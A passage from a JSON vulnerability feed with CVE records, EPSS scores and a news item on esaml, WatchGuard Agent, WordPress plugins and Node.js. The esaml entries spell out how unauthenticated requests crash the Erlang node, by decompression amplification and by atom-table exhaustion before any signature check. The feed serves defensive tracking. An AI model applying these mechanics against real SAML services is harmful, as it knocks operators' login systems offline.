onward.","detail":"Improper Handling of Highly Compressed Data (Data Amplification) in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust server memory and crash the Erlang VM via a crafted compressed SAMLResponse.\n\nesaml_binding:decode_response/2 base64-decodes the attacker-supplied SAMLResponse, inflates it with zlib:unzip/1 with no bound on the output, then converts the result to a charlist with binary_to_list/1 before parsing. This runs on the SAML consume (ACS) and single-logout endpoints, which accept unauthenticated requests by design, and it runs before any signature check. A small deflate stream reaches a compression ratio near 1000 to 1, so a request body of tens of kilobytes inflates to hundreds of megabytes and then to several gigabytes of list heap, so a few requests exhaust memory and take the node down.\n\nThis issue affects esaml: from 0.1.0 onward.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T09:17:16.827Z","updatedAt":"2026-10-22T16:58:51.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93471","asOf":"2026-10-22T16:58:51.997Z"},"epss":{"probability":0.00438,"percentile":0.37788,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93471&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93471","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93471","type":"primary","publishedAt":"2026-10-22T09:17:16.827Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93471&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93471, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86696","cveId":"CVE-2026-86696","aliases":[],"kind":"vulnerability","title":"Allocation of Resources Without Limits or Throttling vulnerability in esaml in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and crash the...","summary":"Allocation of Resources Without Limits or Throttling vulnerability in esaml in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and crash the node via unsigned LogoutResponse messages.\n\nesaml:status_code_map/1 in src/esaml.erl maps any StatusCode value it does not recognize to an atom with list_to_atom/1 on the last colon-separated segment of the URN. esaml_sp:validate_logout_response/2 verifies a signature only when the message carries one, so an unsigned LogoutResponse posted to the single-logout endpoint reaches esaml:decode_logout_response/1 and mints one permanent atom per distinct status value. Atoms are never reclaimed and the VM caps the atom table at about one million entries, so an attacker who posts that many distinct values aborts the node.\n\nThis issue affects esaml: from 0.1.0 onward.","detail":"Allocation of Resources Without Limits or Throttling vulnerability in esaml in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and crash the node via unsigned LogoutResponse messages.\n\nesaml:status_code_map/1 in src/esaml.erl maps any StatusCode value it does not recognize to an atom with list_to_atom/1 on the last colon-separated segment of the URN. esaml_sp:validate_logout_response/2 verifies a signature only when the message carries one, so an unsigned LogoutResponse posted to the single-logout endpoint reaches esaml:decode_logout_response/1 and mints one permanent atom per distinct status value. Atoms are never reclaimed and the VM caps the atom table at about one million entries, so an attacker who posts that many distinct values aborts the node.\n\nThis issue affects esaml: from 0.1.0 onward.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T09:17:16.570Z","updatedAt":"2026-10-22T16:58:51.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86696","asOf":"2026-10-22T16:58:51.997Z"},"epss":{"probability":0.00438,"percentile":0.37788,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86696&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86696","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86696","type":"primary","publishedAt":"2026-10-22T09:17:16.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86696&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86696, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115253","cveId":"CVE-2026-115253","aliases":[],"kind":"vulnerability","title":"An incorrect permission assignment vulnerability in the WatchGuard Agent's log directory allows a local, authenticated non-administrative user to create, modify, append to, or...","summary":"An incorrect permission assignment vulnerability in the WatchGuard Agent's log directory allows a local, authenticated non-administrative user to create, modify, append to, or delete the agent's log files and write other files into the directory. This allows an attacker to tamper with or destroy the agent's security logs and stage further local attacks by placing executable content in a directory owned by a privileged service.","detail":"An incorrect permission assignment vulnerability in the WatchGuard Agent's log directory allows a local, authenticated non-administrative user to create, modify, append to, or delete the agent's log files and write other files into the directory. This allows an attacker to tamper with or destroy the agent's security logs and stage further local attacks by placing executable content in a directory owned by a privileged service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T09:17:16.137Z","updatedAt":"2026-10-23T04:18:14.060Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WatchGuard"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115253","asOf":"2026-10-23T04:18:14.060Z"},"epss":{"probability":0.00129,"percentile":0.02554,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115253&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115253","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115253","type":"primary","publishedAt":"2026-10-22T09:17:16.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115253&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115253, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112379","cveId":"CVE-2026-112379","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Codepeople Contact Form Email contact-form-to-email allows Stored XSS.This...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Codepeople Contact Form Email contact-form-to-email allows Stored XSS.This issue affects Contact Form Email: from n/a through 1.3.68.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Codepeople Contact Form Email contact-form-to-email allows Stored XSS.This issue affects Contact Form Email: from n/a through 1.3.68.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T09:17:14.810Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112379","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.0019,"percentile":0.0856,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112379&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112379","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112379","type":"primary","publishedAt":"2026-10-22T09:17:14.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112379&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112379, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112312","cveId":"CVE-2026-112312","aliases":[],"kind":"vulnerability","title":"Missing Authorization vulnerability in ACF Extended ACF Extended acf-extended allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ACF...","summary":"Missing Authorization vulnerability in ACF Extended ACF Extended acf-extended allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ACF Extended: from n/a through 0.9.2.7.","detail":"Missing Authorization vulnerability in ACF Extended ACF Extended acf-extended allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ACF Extended: from n/a through 0.9.2.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T09:17:14.553Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112312","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.00336,"percentile":0.2671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112312&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112312","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112312","type":"primary","publishedAt":"2026-10-22T09:17:14.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112312&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112312, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112242","cveId":"CVE-2026-112242","aliases":[],"kind":"vulnerability","title":"Incorrect Privilege Assignment vulnerability in Cozmoslabs Profile Builder profile-builder allows Privilege Escalation.This issue affects Profile Builder: from n/a through 4.0.4.","summary":"Incorrect Privilege Assignment vulnerability in Cozmoslabs Profile Builder profile-builder allows Privilege Escalation.This issue affects Profile Builder: from n/a through 4.0.4.","detail":"Incorrect Privilege Assignment vulnerability in Cozmoslabs Profile Builder profile-builder allows Privilege Escalation.This issue affects Profile Builder: from n/a through 4.0.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T09:17:14.283Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112242","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.00302,"percentile":0.22703,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112242&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112242","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112242","type":"primary","publishedAt":"2026-10-22T09:17:14.283Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112242&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112242, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111851","cveId":"CVE-2026-111851","aliases":[],"kind":"vulnerability","title":"Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in WProyal Royal Elementor Addons royal-elementor-addons allows Code...","summary":"Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in WProyal Royal Elementor Addons royal-elementor-addons allows Code Injection.This issue affects Royal Elementor Addons: from n/a through 1.7.1068.","detail":"Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in WProyal Royal Elementor Addons royal-elementor-addons allows Code Injection.This issue affects Royal Elementor Addons: from n/a through 1.7.1068.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T09:17:13.843Z","updatedAt":"2026-10-22T11:17:19.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111851","asOf":"2026-10-22T11:17:19.480Z"},"epss":{"probability":0.00275,"percentile":0.19759,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111851&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111851","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111851","type":"primary","publishedAt":"2026-10-22T09:17:13.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111851&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111851, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111830","cveId":"CVE-2026-111830","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Mailster WP Mailster wp-mailster allows Stored XSS.This issue affects WP...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Mailster WP Mailster wp-mailster allows Stored XSS.This issue affects WP Mailster: from n/a through 1.9.1.0.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Mailster WP Mailster wp-mailster allows Stored XSS.This issue affects WP Mailster: from n/a through 1.9.1.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T09:17:13.597Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111830","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.00201,"percentile":0.09865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111830&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111830","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111830","type":"primary","publishedAt":"2026-10-22T09:17:13.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111830&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111830, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-nodejs-brotli-decoder-bug-could-allow-4681e139a804","cveId":null,"aliases":[],"kind":"vulnerability","title":"Node.js Brotli Decoder Bug Could Allow Remote Code Execution in All Supported Versions","summary":"Node.js released security updates on October 21 for its three supported release lines, 22.x, 24.x and 26.x, fixing 10 flaws. The most serious is a bug in the Brotli decompression code that Node.js bundles, which the project says can allow remote code execution, meaning an attacker could run code of their choosing on the affected system.\n\nEach supported line has one fixed version:","detail":"Node.js released security updates on October 21 for its three supported release lines, 22.x, 24.x and 26.x, fixing 10 flaws. The most serious is a bug in the Brotli decompression code that Node.js bundles, which the project says can allow remote code execution, meaning an attacker could run code of their choosing on the affected system.\n\nEach supported line has one fixed version:\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-22T07:47:22.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: Node.js Brotli Decoder Bug Could Allow Remote Code Execution in All Supported Versions","url":"https://thehackernews.com/2026/10/nodejs-brotli-decoder-bug-could-allow.html","type":"reporting","publishedAt":"2026-10-22T07:47:22.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114177","cveId":"CVE-2026-114177","aliases":[],"kind":"vulnerability","title":"Cross-Site Request Forgery (CSRF) vulnerability in Xpro Xpro Elementor Addons xpro-elementor-addons allows Cross Site Request Forgery.This issue affects Xpro Elementor Addons:...","summary":"Cross-Site Request Forgery (CSRF) vulnerability in Xpro Xpro Elementor Addons xpro-elementor-addons allows Cross Site Request Forgery.This issue affects Xpro Elementor Addons: from n/a through 1.7.10.","detail":"Cross-Site Request Forgery (CSRF) vulnerability in Xpro Xpro Elementor Addons xpro-elementor-addons allows Cross Site Request Forgery.This issue affects Xpro Elementor Addons: from n/a through 1.7.10.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T07:16:41.870Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114177","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.00181,"percentile":0.07622,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114177&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114177","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114177","type":"primary","publishedAt":"2026-10-22T07:16:41.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114177&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114177, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105270","cveId":"CVE-2026-105270","aliases":[],"kind":"vulnerability","title":"Allocation of Resources Without Limits or Throttling vulnerability in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and...","summary":"Allocation of Resources Without Limits or Throttling vulnerability in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and crash the node via a crafted SAMLResponse.\n\nesaml_binding:decode_response/2 parses the decoded SAMLResponse with xmerl_scan:string/2, which interns every element name, attribute name, and namespace prefix it reads as a permanent atom. The SAML consume (ACS) and single-logout endpoints call it on unauthenticated requests before any signature check, so one well-formed document with thousands of distinct names mints thousands of atoms while staying inside the 128 KB request body limit. Atoms are never reclaimed and the VM caps the atom table at about one million entries, so a few dozen requests abort the node.\n\nThis issue affects esaml: from 0.1.0 onward.","detail":"Allocation of Resources Without Limits or Throttling vulnerability in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust the Erlang VM atom table and crash the node via a crafted SAMLResponse.\n\nesaml_binding:decode_response/2 parses the decoded SAMLResponse with xmerl_scan:string/2, which interns every element name, attribute name, and namespace prefix it reads as a permanent atom. The SAML consume (ACS) and single-logout endpoints call it on unauthenticated requests before any signature check, so one well-formed document with thousands of distinct names mints thousands of atoms while staying inside the 128 KB request body limit. Atoms are never reclaimed and the VM caps the atom table at about one million entries, so a few dozen requests abort the node.\n\nThis issue affects esaml: from 0.1.0 onward.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T07:16:40.940Z","updatedAt":"2026-10-22T16:58:51.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105270","asOf":"2026-10-22T16:58:51.997Z"},"epss":{"probability":0.00344,"percentile":0.27649,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105270&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105270","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105270","type":"primary","publishedAt":"2026-10-22T07:16:40.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 